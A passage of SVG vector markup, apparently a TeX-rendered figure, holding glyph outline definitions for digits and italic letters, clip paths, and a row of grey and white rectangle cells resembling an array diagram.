-6.640625 2.5 -6.640625 C 1.890625 -6.640625 1.171875 -6.375 0.75 -5.453125 C 0.4375 -4.765625 0.390625 -3.984375 0.390625 -3.1875 C 0.390625 -2.4375 0.421875 -1.546875 0.84375 -0.78125 C 1.265625 0.015625 2 0.21875 2.484375 0.21875 C 3.015625 0.21875 3.78125 0.015625 4.21875 -0.9375 C 4.53125 -1.625 4.578125 -2.40625 4.578125 -3.1875 Z M 2.484375 0 C 2.09375 0 1.5 -0.25 1.328125 -1.203125 C 1.21875 -1.796875 1.21875 -2.71875 1.21875 -3.3125 C 1.21875 -3.953125 1.21875 -4.609375 1.296875 -5.140625 C 1.484375 -6.328125 2.234375 -6.421875 2.484375 -6.421875 C 2.8125 -6.421875 3.46875 -6.234375 3.65625 -5.25 C 3.765625 -4.6875 3.765625 -3.9375 3.765625 -3.3125 C 3.765625 -2.5625 3.765625 -1.890625 3.65625 -1.25 C 3.5 -0.296875 2.9375 0 2.484375 0 Z M 2.484375 0 "/> -</symbol> -<symbol overflow="visible" id="glyph0-2"> -<path style="stroke:none;" d="M 4.75 -6.078125 C 4.828125 -6.1875 4.828125 -6.203125 4.828125 -6.421875 L 2.40625 -6.421875 C 1.203125 -6.421875 1.171875 -6.546875 1.140625 -6.734375 L 0.890625 -6.734375 L 0.5625 -4.6875 L 0.8125 -4.6875 C 0.84375 -4.84375 0.921875 -5.46875 1.0625 -5.59375 C 1.125 -5.65625 1.90625 -5.65625 2.03125 -5.65625 L 4.09375 -5.65625 C 3.984375 -5.5 3.203125 -4.40625 2.984375 -4.078125 C 2.078125 -2.734375 1.75 -1.34375 1.75 -0.328125 C 1.75 -0.234375 1.75 0.21875 2.21875 0.21875 C 2.671875 0.21875 2.671875 -0.234375 2.671875 -0.328125 L 2.671875 -0.84375 C 2.671875 -1.390625 2.703125 -1.9375 2.78125 -2.46875 C 2.828125 -2.703125 2.953125 -3.5625 3.40625 -4.171875 Z M 4.75 -6.078125 "/> -</symbol> -<symbol overflow="visible" id="glyph0-3"> -<path style="stroke:none;" d="M 2.890625 -3.515625 C 3.703125 -3.78125 4.28125 -4.46875 4.28125 -5.265625 C 4.28125 -6.078125 3.40625 -6.640625 2.453125 -6.640625 C 1.453125 -6.640625 0.6875 -6.046875 0.6875 -5.28125 C 0.6875 -4.953125 0.90625 -4.765625 1.203125 -4.765625 C 1.5 -4.765625 1.703125 -4.984375 1.703125 -5.28125 C 1.703125 -5.765625 1.234375 -5.765625 1.09375 -5.765625 C 1.390625 -6.265625 2.046875 -6.390625 2.40625 -6.390625 C 2.828125 -6.390625 3.375 -6.171875 3.375 -5.28125 C 3.375 -5.15625 3.34375 -4.578125 3.09375 -4.140625 C 2.796875 -3.65625 2.453125 -3.625 2.203125 -3.625 C 2.125 -3.609375 1.890625 -3.59375 1.8125 -3.59375 C 1.734375 -3.578125 1.671875 -3.5625 1.671875 -3.46875 C 1.671875 -3.359375 1.734375 -3.359375 1.90625 -3.359375 L 2.34375 -3.359375 C 3.15625 -3.359375 3.53125 -2.6875 3.53125 -1.703125 C 3.53125 -0.34375 2.84375 -0.0625 2.40625 -0.0625 C 1.96875 -0.0625 1.21875 -0.234375 0.875 -0.8125 C 1.21875 -0.765625 1.53125 -0.984375 1.53125 -1.359375 C 1.53125 -1.71875 1.265625 -1.921875 0.984375 -1.921875 C 0.734375 -1.921875 0.421875 -1.78125 0.421875 -1.34375 C 0.421875 -0.4375 1.34375 0.21875 2.4375 0.21875 C 3.65625 0.21875 4.5625 -0.6875 4.5625 -1.703125 C 4.5625 -2.515625 3.921875 -3.296875 2.890625 -3.515625 Z M 2.890625 -3.515625 "/> -</symbol> -<symbol overflow="visible" id="glyph0-4"> -<path style="stroke:none;" d="M 2.9375 -1.640625 L 2.9375 -0.78125 C 2.9375 -0.421875 2.90625 -0.3125 2.171875 -0.3125 L 1.96875 -0.3125 L 1.96875 0 C 2.375 -0.03125 2.890625 -0.03125 3.3125 -0.03125 C 3.734375 -0.03125 4.25 -0.03125 4.671875 0 L 4.671875 -0.3125 L 4.453125 -0.3125 C 3.71875 -0.3125 3.703125 -0.421875 3.703125 -0.78125 L 3.703125 -1.640625 L 4.6875 -1.640625 L 4.6875 -1.953125 L 3.703125 -1.953125 L 3.703125 -6.484375 C 3.703125 -6.6875 3.703125 -6.75 3.53125 -6.75 C 3.453125 -6.75 3.421875 -6.75 3.34375 -6.625 L 0.28125 -1.953125 L 0.28125 -1.640625 Z M 2.984375 -1.953125 L 0.5625 -1.953125 L 2.984375 -5.671875 Z M 2.984375 -1.953125 "/> -</symbol> -<symbol overflow="visible" id="glyph0-5"> -<path style="stroke:none;" d="M 4.46875 -2 C 4.46875 -3.1875 3.65625 -4.1875 2.578125 -4.1875 C 2.109375 -4.1875 1.671875 -4.03125 1.3125 -3.671875 L 1.3125 -5.625 C 1.515625 -5.5625 1.84375 -5.5 2.15625 -5.5 C 3.390625 -5.5 4.09375 -6.40625 4.09375 -6.53125 C 4.09375 -6.59375 4.0625 -6.640625 3.984375 -6.640625 C 3.984375 -6.640625 3.953125 -6.640625 3.90625 -6.609375 C 3.703125 -6.515625 3.21875 -6.3125 2.546875 -6.3125 C 2.15625 -6.3125 1.6875 -6.390625 1.21875 -6.59375 C 1.140625 -6.625 1.125 -6.625 1.109375 -6.625 C 1 -6.625 1 -6.546875 1 -6.390625 L 1 -3.4375 C 1 -3.265625 1 -3.1875 1.140625 -3.1875 C 1.21875 -3.1875 1.234375 -3.203125 1.28125 -3.265625 C 1.390625 -3.421875 1.75 -3.96875 2.5625 -3.96875 C 3.078125 -3.96875 3.328125 -3.515625 3.40625 -3.328125 C 3.5625 -2.953125 3.59375 -2.578125 3.59375 -2.078125 C 3.59375 -1.71875 3.59375 -1.125 3.34375 -0.703125 C 3.109375 -0.3125 2.734375 -0.0625 2.28125 -0.0625 C 1.5625 -0.0625 0.984375 -0.59375 0.8125 -1.171875 C 0.84375 -1.171875 0.875 -1.15625 0.984375 -1.15625 C 1.3125 -1.15625 1.484375 -1.40625 1.484375 -1.640625 C 1.484375 -1.890625 1.3125 -2.140625 0.984375 -2.140625 C 0.84375 -2.140625 0.5 -2.0625 0.5 -1.609375 C 0.5 -0.75 1.1875 0.21875 2.296875 0.21875 C 3.453125 0.21875 4.46875 -0.734375 4.46875 -2 Z M 4.46875 -2 "/> -</symbol> -<symbol overflow="visible" id="glyph0-6"> -<path style="stroke:none;" d="M 1.3125 -3.265625 L 1.3125 -3.515625 C 1.3125 -6.03125 2.546875 -6.390625 3.0625 -6.390625 C 3.296875 -6.390625 3.71875 -6.328125 3.9375 -5.984375 C 3.78125 -5.984375 3.390625 -5.984375 3.390625 -5.546875 C 3.390625 -5.234375 3.625 -5.078125 3.84375 -5.078125 C 4 -5.078125 4.3125 -5.171875 4.3125 -5.5625 C 4.3125 -6.15625 3.875 -6.640625 3.046875 -6.640625 C 1.765625 -6.640625 0.421875 -5.359375 0.421875 -3.15625 C 0.421875 -0.484375 1.578125 0.21875 2.5 0.21875 C 3.609375 0.21875 4.5625 -0.71875 4.5625 -2.03125 C 4.5625 -3.296875 3.671875 -4.25 2.5625 -4.25 C 1.890625 -4.25 1.515625 -3.75 1.3125 -3.265625 Z M 2.5 -0.0625 C 1.875 -0.0625 1.578125 -0.65625 1.515625 -0.8125 C 1.328125 -1.28125 1.328125 -2.078125 1.328125 -2.25 C 1.328125 -3.03125 1.65625 -4.03125 2.546875 -4.03125 C 2.71875 -4.03125 3.171875 -4.03125 3.484375 -3.40625 C 3.65625 -3.046875 3.65625 -2.53125 3.65625 -2.046875 C 3.65625 -1.5625 3.65625 -1.0625 3.484375 -0.703125 C 3.1875 -0.109375 2.734375 -0.0625 2.5 -0.0625 Z M 2.5 -0.0625 "/> -</symbol> -<symbol overflow="visible" id="glyph0-7"> -<path style="stroke:none;" d="M 3.296875 2.390625 C 3.296875 2.359375 3.296875 2.34375 3.125 2.171875 C 1.890625 0.921875 1.5625 -0.96875 1.5625 -2.5 C 1.5625 -4.234375 1.9375 -5.96875 3.171875 -7.203125 C 3.296875 -7.328125 3.296875 -7.34375 3.296875 -7.375 C 3.296875 -7.453125 3.265625 -7.484375 3.203125 -7.484375 C 3.09375 -7.484375 2.203125 -6.796875 1.609375 -5.53125 C 1.109375 -4.4375 0.984375 -3.328125 0.984375 -2.5 C 0.984375 -1.71875 1.09375 -0.515625 1.640625 0.625 C 2.25 1.84375 3.09375 2.5 3.203125 2.5 C 3.265625 2.5 3.296875 2.46875 3.296875 2.390625 Z M 3.296875 2.390625 "/> -</symbol> -<symbol overflow="visible" id="glyph0-8"> -<path style="stroke:none;" d="M 2.21875 -1.71875 C 1.34375 -1.71875 1.34375 -2.71875 1.34375 -2.9375 C 1.34375 -3.203125 1.359375 -3.53125 1.5 -3.78125 C 1.578125 -3.890625 1.8125 -4.171875 2.21875 -4.171875 C 3.078125 -4.171875 3.078125 -3.1875 3.078125 -2.953125 C 3.078125 -2.6875 3.078125 -2.359375 2.921875 -2.109375 C 2.84375 -2 2.609375 -1.71875 2.21875 -1.71875 Z M 1.0625 -1.328125 C 1.0625 -1.359375 1.0625 -1.59375 1.21875 -1.796875 C 1.609375 -1.515625 2.03125 -1.484375 2.21875 -1.484375 C 3.140625 -1.484375 3.828125 -2.171875 3.828125 -2.9375 C 3.828125 -3.3125 3.671875 -3.671875 3.421875 -3.90625 C 3.78125 -4.25 4.140625 -4.296875 4.3125 -4.296875 C 4.34375 -4.296875 4.390625 -4.296875 4.421875 -4.28125 C 4.3125 -4.25 4.25 -4.140625 4.25 -4.015625 C 4.25 -3.84375 4.390625 -3.734375 4.546875 -3.734375 C 4.640625 -3.734375 4.828125 -3.796875 4.828125 -4.03125 C 4.828125 -4.203125 4.71875 -4.515625 4.328125 -4.515625 C 4.125 -4.515625 3.6875 -4.453125 3.265625 -4.046875 C 2.84375 -4.375 2.4375 -4.40625 2.21875 -4.40625 C 1.28125 -4.40625 0.59375 -3.71875 0.59375 -2.953125 C 0.59375 -2.515625 0.8125 -2.140625 1.0625 -1.921875 C 0.9375 -1.78125 0.75 -1.453125 0.75 -1.09375 C 0.75 -0.78125 0.890625 -0.40625 1.203125 -0.203125 C 0.59375 -0.046875 0.28125 0.390625 0.28125 0.78125 C 0.28125 1.5 1.265625 2.046875 2.484375 2.046875 C 3.65625 2.046875 4.6875 1.546875 4.6875 0.765625 C 4.6875 0.421875 4.5625 -0.09375 4.046875 -0.375 C 3.515625 -0.640625 2.9375 -0.640625 2.328125 -0.640625 C 2.078125 -0.640625 1.65625 -0.640625 1.578125 -0.65625 C 1.265625 -0.703125 1.0625 -1 1.0625 -1.328125 Z M 2.5 1.828125 C 1.484375 1.828125 0.796875 1.3125 0.796875 0.78125 C 0.796875 0.328125 1.171875 -0.046875 1.609375 -0.0625 L 2.203125 -0.0625 C 3.0625 -0.0625 4.171875 -0.0625 4.171875 0.78125 C 4.171875 1.328125 3.46875 1.828125 2.5 1.828125 Z M 2.5 1.828125 "/> -</symbol> -<symbol overflow="visible" id="glyph0-9"> -<path style="stroke:none;" d="M 3.78125 -0.546875 L 3.78125 0.109375 L 5.25 0 L 5.25 -0.3125 C 4.5625 -0.3125 4.46875 -0.375 4.46875 -0.875 L 4.46875 -6.921875 L 3.046875 -6.8125 L 3.046875 -6.5 C 3.734375 -6.5 3.8125 -6.4375 3.8125 -5.9375 L 3.8125 -3.78125 C 3.53125 -4.140625 3.09375 -4.40625 2.5625 -4.40625 C 1.390625 -4.40625 0.34375 -3.421875 0.34375 -2.140625 C 0.34375 -0.875 1.3125 0.109375 2.453125 0.109375 C 3.09375 0.109375 3.53125 -0.234375 3.78125 -0.546875 Z M 3.78125 -3.21875 L 3.78125 -1.171875 C 3.78125 -1 3.78125 -0.984375 3.671875 -0.8125 C 3.375 -0.328125 2.9375 -0.109375 2.5 -0.109375 C 2.046875 -0.109375 1.6875 -0.375 1.453125 -0.75 C 1.203125 -1.15625 1.171875 -1.71875 1.171875 -2.140625 C 1.171875 -2.5 1.1875 -3.09375 1.46875 -3.546875 C 1.6875 -3.859375 2.0625 -4.1875 2.609375 -4.1875 C 2.953125 -4.1875 3.375 -4.03125 3.671875 -3.59375 C 3.78125 -3.421875 3.78125 -3.40625 3.78125 -3.21875 Z M 3.78125 -3.21875 "/> -</symbol> -<symbol overflow="visible" id="glyph0-10"> -<path style="stroke:none;" d="M 1.71875 -3.765625 L 1.71875 -6.921875 L 0.28125 -6.8125 L 0.28125 -6.5 C 0.984375 -6.5 1.0625 -6.4375 1.0625 -5.9375 L 1.0625 0 L 1.3125 0 C 1.3125 -0.015625 1.390625 -0.15625 1.671875 -0.625 C 1.8125 -0.390625 2.234375 0.109375 2.96875 0.109375 C 4.15625 0.109375 5.1875 -0.875 5.1875 -2.15625 C 5.1875 -3.421875 4.21875 -4.40625 3.078125 -4.40625 C 2.296875 -4.40625 1.875 -3.9375 1.71875 -3.765625 Z M 1.75 -1.140625 L 1.75 -3.1875 C 1.75 -3.375 1.75 -3.390625 1.859375 -3.546875 C 2.25 -4.109375 2.796875 -4.1875 3.03125 -4.1875 C 3.484375 -4.1875 3.84375 -3.921875 4.078125 -3.546875 C 4.34375 -3.140625 4.359375 -2.578125 4.359375 -2.15625 C 4.359375 -1.796875 4.34375 -1.203125 4.0625 -0.75 C 3.84375 -0.4375 3.46875 -0.109375 2.9375 -0.109375 C 2.484375 -0.109375 2.125 -0.34375 1.890625 -0.71875 C 1.75 -0.921875 1.75 -0.953125 1.75 -1.140625 Z M 1.75 -1.140625 "/> -</symbol> -<symbol overflow="visible" id="glyph0-11"> -<path style="stroke:none;" d="M 2.875 -2.5 C 2.875 -3.265625 2.765625 -4.46875 2.21875 -5.609375 C 1.625 -6.828125 0.765625 -7.484375 0.671875 -7.484375 C 0.609375 -7.484375 0.5625 -7.4375 0.5625 -7.375 C 0.5625 -7.34375 0.5625 -7.328125 0.75 -7.140625 C 1.734375 -6.15625 2.296875 -4.578125 2.296875 -2.5 C 2.296875 -0.78125 1.9375 0.96875 0.703125 2.21875 C 0.5625 2.34375 0.5625 2.359375 0.5625 2.390625 C 0.5625 2.453125 0.609375 2.5 0.671875 2.5 C 0.765625 2.5 1.671875 1.8125 2.25 0.546875 C 2.765625 -0.546875 2.875 -1.65625 2.875 -2.5 Z M 2.875 -2.5 "/> -</symbol> -<symbol overflow="visible" id="glyph0-12"> -<path style="stroke:none;" d="M 2.859375 -2.34375 C 3.15625 -2.71875 3.53125 -3.203125 3.78125 -3.46875 C 4.09375 -3.828125 4.5 -3.984375 4.96875 -3.984375 L 4.96875 -4.296875 C 4.703125 -4.28125 4.40625 -4.265625 4.140625 -4.265625 C 3.84375 -4.265625 3.3125 -4.28125 3.1875 -4.296875 L 3.1875 -3.984375 C 3.40625 -3.96875 3.484375 -3.84375 3.484375 -3.671875 C 3.484375 -3.515625 3.375 -3.390625 3.328125 -3.328125 L 2.71875 -2.546875 L 1.9375 -3.5625 C 1.84375 -3.65625 1.84375 -3.671875 1.84375 -3.734375 C 1.84375 -3.890625 2 -3.984375 2.1875 -3.984375 L 2.1875 -4.296875 C 1.9375 -4.28125 1.28125 -4.265625 1.109375 -4.265625 C 0.90625 -4.265625 0.4375 -4.28125 0.171875 -4.296875 L 0.171875 -3.984375 C 0.875 -3.984375 0.875 -3.984375 1.34375 -3.375 L 2.328125 -2.09375 L 1.390625 -0.90625 C 0.921875 -0.328125 0.328125 -0.3125 0.125 -0.3125 L 0.125 0 C 0.375 -0.015625 0.6875 -0.03125 0.953125 -0.03125 C 1.234375 -0.03125 1.65625 -0.015625 1.890625 0 L 1.890625 -0.3125 C 1.671875 -0.34375 1.609375 -0.46875 1.609375 -0.625 C 1.609375 -0.84375 1.890625 -1.171875 2.5 -1.890625 L 3.265625 -0.890625 C 3.34375 -0.78125 3.46875 -0.625 3.46875 -0.5625 C 3.46875 -0.46875 3.375 -0.3125 3.109375 -0.3125 L 3.109375 0 C 3.40625 -0.015625 3.96875 -0.03125 4.1875 -0.03125 C 4.453125 -0.03125 4.84375 -0.015625 5.140625 0 L 5.140625 -0.3125 C 4.609375 -0.3125 4.421875 -0.328125 4.203125 -0.625 Z M 2.859375 -2.34375 "/> -</symbol> -<symbol overflow="visible" id="glyph0-13"> -<path style="stroke:none;" d="M 4.359375 -7.09375 C 4.421875 -7.234375 4.421875 -7.25 4.421875 -7.28125 C 4.421875 -7.390625 4.328125 -7.484375 4.21875 -7.484375 C 4.078125 -7.484375 4.03125 -7.375 4 -7.28125 L 0.609375 2.109375 C 0.5625 2.25 0.5625 2.265625 0.5625 2.296875 C 0.5625 2.40625 0.640625 2.5 0.75 2.5 C 0.890625 2.5 0.9375 2.390625 0.96875 2.296875 Z M 4.359375 -7.09375 "/> -</symbol> -<symbol overflow="visible" id="glyph0-14"> -<path style="stroke:none;" d="M 1.90625 -3.765625 C 1.90625 -4.0625 1.671875 -4.296875 1.390625 -4.296875 C 1.09375 -4.296875 0.859375 -4.0625 0.859375 -3.765625 C 0.859375 -3.484375 1.09375 -3.234375 1.390625 -3.234375 C 1.671875 -3.234375 1.90625 -3.484375 1.90625 -3.765625 Z M 1.90625 -0.53125 C 1.90625 -0.8125 1.671875 -1.0625 1.390625 -1.0625 C 1.09375 -1.0625 0.859375 -0.8125 0.859375 -0.53125 C 0.859375 -0.234375 1.09375 0 1.390625 0 C 1.671875 0 1.90625 -0.234375 1.90625 -0.53125 Z M 1.90625 -0.53125 "/> -</symbol> -<symbol overflow="visible" id="glyph0-15"> -<path style="stroke:none;" d="M 1.265625 -0.765625 L 2.328125 -1.796875 C 3.875 -3.171875 4.46875 -3.703125 4.46875 -4.703125 C 4.46875 -5.84375 3.578125 -6.640625 2.359375 -6.640625 C 1.234375 -6.640625 0.5 -5.71875 0.5 -4.828125 C 0.5 -4.28125 1 -4.28125 1.03125 -4.28125 C 1.203125 -4.28125 1.546875 -4.390625 1.546875 -4.8125 C 1.546875 -5.0625 1.359375 -5.328125 1.015625 -5.328125 C 0.9375 -5.328125 0.921875 -5.328125 0.890625 -5.3125 C 1.109375 -5.96875 1.65625 -6.328125 2.234375 -6.328125 C 3.140625 -6.328125 3.5625 -5.515625 3.5625 -4.703125 C 3.5625 -3.90625 3.078125 -3.125 2.515625 -2.5 L 0.609375 -0.375 C 0.5 -0.265625 0.5 -0.234375 0.5 0 L 4.203125 0 L 4.46875 -1.734375 L 4.234375 -1.734375 C 4.171875 -1.4375 4.109375 -1 4 -0.84375 C 3.9375 -0.765625 3.28125 -0.765625 3.0625 -0.765625 Z M 1.265625 -0.765625 "/> -</symbol> -<symbol overflow="visible" id="glyph1-0"> -<path style="stroke:none;" d=""/> -</symbol> -<symbol overflow="visible" id="glyph1-1"> -<path style="stroke:none;" d="M 3.328125 -3.015625 C 3.390625 -3.265625 3.625 -4.1875 4.3125 -4.1875 C 4.359375 -4.1875 4.609375 -4.1875 4.8125 -4.0625 C 4.53125 -4 4.34375 -3.765625 4.34375 -3.515625 C 4.34375 -3.359375 4.453125 -3.171875 4.71875 -3.171875 C 4.9375 -3.171875 5.25 -3.34375 5.25 -3.75 C 5.25 -4.265625 4.671875 -4.40625 4.328125 -4.40625 C 3.75 -4.40625 3.40625 -3.875 3.28125 -3.65625 C 3.03125 -4.3125 2.5 -4.40625 2.203125 -4.40625 C 1.171875 -4.40625 0.59375 -3.125 0.59375 -2.875 C 0.59375 -2.765625 0.703125 -2.765625 0.71875 -2.765625 C 0.796875 -2.765625 0.828125 -2.796875 0.84375 -2.875 C 1.1875 -3.9375 1.84375 -4.1875 2.1875 -4.1875 C 2.375 -4.1875 2.71875 -4.09375 2.71875 -3.515625 C 2.71875 -3.203125 2.546875 -2.546875 2.1875 -1.140625 C 2.03125 -0.53125 1.671875 -0.109375 1.234375 -0.109375 C 1.171875 -0.109375 0.953125 -0.109375 0.734375 -0.234375 C 0.984375 -0.296875 1.203125 -0.5 1.203125 -0.78125 C 1.203125 -1.046875 0.984375 -1.125 0.84375 -1.125 C 0.53125 -1.125 0.296875 -0.875 0.296875 -0.546875 C 0.296875 -0.09375 0.78125 0.109375 1.21875 0.109375 C 1.890625 0.109375 2.25 -0.59375 2.265625 -0.640625 C 2.390625 -0.28125 2.75 0.109375 3.34375 0.109375 C 4.375 0.109375 4.9375 -1.171875 4.9375 -1.421875 C 4.9375 -1.53125 4.859375 -1.53125 4.828125 -1.53125 C 4.734375 -1.53125 4.71875 -1.484375 4.6875 -1.421875 C 4.359375 -0.34375 3.6875 -0.109375 3.375 -0.109375 C 2.984375 -0.109375 2.828125 -0.421875 2.828125 -0.765625 C 2.828125 -0.984375 2.875 -1.203125 2.984375 -1.640625 Z M 3.328125 -3.015625 "/> -</symbol> -<symbol overflow="visible" id="glyph1-2"> -<path style="stroke:none;" d="M 3.65625 -3.984375 L 4.515625 -3.984375 C 4.71875 -3.984375 4.8125 -3.984375 4.8125 -4.1875 C 4.8125 -4.296875 4.71875 -4.296875 4.546875 -4.296875 L 3.71875 -4.296875 L 3.921875 -5.4375 C 3.96875 -5.640625 4.109375 -6.34375 4.171875 -6.46875 C 4.25 -6.65625 4.421875 -6.8125 4.640625 -6.8125 C 4.671875 -6.8125 4.9375 -6.8125 5.125 -6.625 C 4.6875 -6.59375 4.578125 -6.234375 4.578125 -6.09375 C 4.578125 -5.859375 4.765625 -5.734375 4.953125 -5.734375 C 5.21875 -5.734375 5.5 -5.96875 5.5 -6.34375 C 5.5 -6.796875 5.046875 -7.03125 4.640625 -7.03125 C 4.296875 -7.03125 3.671875 -6.84375 3.375 -5.859375 C 3.3125 -5.65625 3.28125 -5.546875 3.046875 -4.296875 L 2.359375 -4.296875 C 2.15625 -4.296875 2.046875 -4.296875 2.046875 -4.109375 C 2.046875 -3.984375 2.140625 -3.984375 2.328125 -3.984375 L 2.984375 -3.984375 L 2.25 -0.046875 C 2.0625 0.921875 1.890625 1.828125 1.375 1.828125 C 1.328125 1.828125 1.09375 1.828125 0.890625 1.640625 C 1.359375 1.609375 1.453125 1.25 1.453125 1.109375 C 1.453125 0.875 1.265625 0.75 1.078125 0.75 C 0.8125 0.75 0.53125 0.984375 0.53125 1.359375 C 0.53125 1.796875 0.96875 2.046875 1.375 2.046875 C 1.921875 2.046875 2.328125 1.453125 2.5 1.078125 C 2.828125 0.453125 3.046875 -0.75 3.0625 -0.828125 Z M 3.65625 -3.984375 "/> -</symbol> -<symbol overflow="visible" id="glyph1-3"> -<path style="stroke:none;" d="M 2.375 -6.8125 C 2.375 -6.8125 2.375 -6.921875 2.25 -6.921875 C 2.03125 -6.921875 1.296875 -6.84375 1.03125 -6.8125 C 0.953125 -6.8125 0.84375 -6.796875 0.84375 -6.625 C 0.84375 -6.5 0.9375 -6.5 1.09375 -6.5 C 1.5625 -6.5 1.578125 -6.4375 1.578125 -6.328125 C 1.578125 -6.265625 1.5 -5.921875 1.453125 -5.71875 L 0.625 -2.46875 C 0.515625 -1.96875 0.46875 -1.796875 0.46875 -1.453125 C 0.46875 -0.515625 1 0.109375 1.734375 0.109375 C 2.90625 0.109375 4.140625 -1.375 4.140625 -2.8125 C 4.140625 -3.71875 3.609375 -4.40625 2.8125 -4.40625 C 2.359375 -4.40625 1.9375 -4.109375 1.640625 -3.8125 Z M 1.453125 -3.046875 C 1.5 -3.265625 1.5 -3.28125 1.59375 -3.390625 C 2.078125 -4.03125 2.53125 -4.1875 2.796875 -4.1875 C 3.15625 -4.1875 3.421875 -3.890625 3.421875 -3.25 C 3.421875 -2.65625 3.09375 -1.515625 2.90625 -1.140625 C 2.578125 -0.46875 2.125 -0.109375 1.734375 -0.109375 C 1.390625 -0.109375 1.0625 -0.375 1.0625 -1.109375 C 1.0625 -1.3125 1.0625 -1.5 1.21875 -2.125 Z M 1.453125 -3.046875 "/> -</symbol> -</g> -<clipPath id="clip1"> - <path d="M 255 142 L 368.902344 142 L 368.902344 157 L 255 157 Z M 255 142 "/> -</clipPath> -<clipPath id="clip2"> - <path d="M 255 170 L 368.902344 170 L 368.902344 186 L 255 186 Z M 255 170 "/> -</clipPath> -<clipPath id="clip3"> - <path d="M 255 198 L 368.902344 198 L 368.902344 214 L 255 214 Z M 255 198 "/> -</clipPath> -<clipPath id="clip4"> - <path d="M 255 227 L 368.902344 227 L 368.902344 242 L 255 242 Z M 255 227 "/> -</clipPath> -</defs> -<g id="surface1"> -<path style="fill-rule:nonzero;fill:rgb(75%,75%,75%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 0.00021875 0.0006875 L 0.00021875 28.348344 L 5.668188 28.348344 L 5.668188 0.0006875 Z M 0.00021875 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 5.668188 0.0006875 L 5.668188 28.348344 L 11.340063 28.348344 L 11.340063 0.0006875 Z M 5.668188 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 11.340063 0.0006875 L 11.340063 28.348344 L 17.008031 28.348344 L 17.008031 0.0006875 Z M 11.340063 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 17.008031 0.0006875 L 17.008031 28.348344 L 22.676 28.348344 L 22.676 0.0006875 Z M 17.008031 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 22.676 0.0006875 L 22.676 28.348344 L 28.347875 28.348344 L 28.347875 0.0006875 Z M 22.676 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 28.347875 0.0006875 L 28.347875 28.348344 L 34.015844 28.348344 L 34.015844 0.0006875 Z M 28.347875 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 34.015844 0.0006875 L 34.015844 28.348344 L 39.683813 28.348344 L 39.683813 0.0006875 Z M 34.015844 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 39.683813 0.0006875 L 39.683813 28.348344 L 45.355688 28.348344 L 45.355688 0.0006875 Z M 39.683813 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 45.355688 0.0006875 L 45.355688 28.348344 L 51.023656 28.348344 L 51.023656 0.0006875 Z M 45.355688 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 51.023656 0.0006875 L 51.023656 28.348344 L 56.691625 28.348344 L 56.691625 0.0006875 Z M 51.023656 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 56.691625 0.0006875 L 56.691625 28.348344 L 62.3635 28.348344 L 62.3635 0.0006875 Z M 56.691625 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 62.3635 0.0006875 L 62.3635 28.348344 L 68.031469 28.348344 L 68.031469 0.0006875 Z M 62.3635 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> -<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 68.031469 0.0006875 L 68.031469 28.348344 L 73.699438 28.348344 L 73.699438 0.0006875 Z M 68.031469 0.0006875 " 